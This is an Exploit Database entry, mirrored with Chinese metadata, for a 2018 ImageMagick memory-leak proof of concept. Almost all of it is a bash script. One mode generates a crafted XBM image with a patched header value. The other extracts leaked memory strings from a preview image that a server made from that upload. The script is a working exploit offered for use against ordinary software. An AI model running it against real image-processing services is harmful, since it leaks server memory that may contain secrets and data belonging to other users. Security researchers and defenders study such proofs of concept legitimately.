ImageMagick – Memory Leak

• Exploit Database
• 129 阅读

• 作者： ttffdd
  日期： 2018-11-19
• 类别：

  • local
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/45890/
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  #!/bin/bash   help() { echo "Usage poc generator: <code>basename $0</code> gen WIDTHxHEIGHT NAME.xbm [minimal]" echo "Example gen: <code>basename $0</code> gen 512x512 poc.xbm" echo "Usage result recovery: <code>basename $0</code> recover SAVED_PREVIEW.png|jpeg|gif|etc" echo "Example recovery: <code>basename $0</code> recover avatar.png" } if [ "$1" == "-h" ]; then help; exit 0 fi if [ "$1" == "gen" ]; then echo "Generating..." convert -size $2 xc:white $3 sed -i &apos;0,/0x../s//0x80000001/&apos; $3 if [ "$4" == "minimal" ]; then echo "Shrink to minimal body size mode" sed -i &apos;s/0x00//g&apos; $3 sed -i &apos;s/,//g&apos; $3 sed -i &apos;/^\s*$/d&apos; $3 fi echo "Done" exit 0 fi if [ "$1" == "recover" ]; then convert $2 temp.xbm cat temp.xbm | grep -o &apos;0x..&apos; | xxd -r -p | strings -3 rm temp.xbm exit 0 fi help;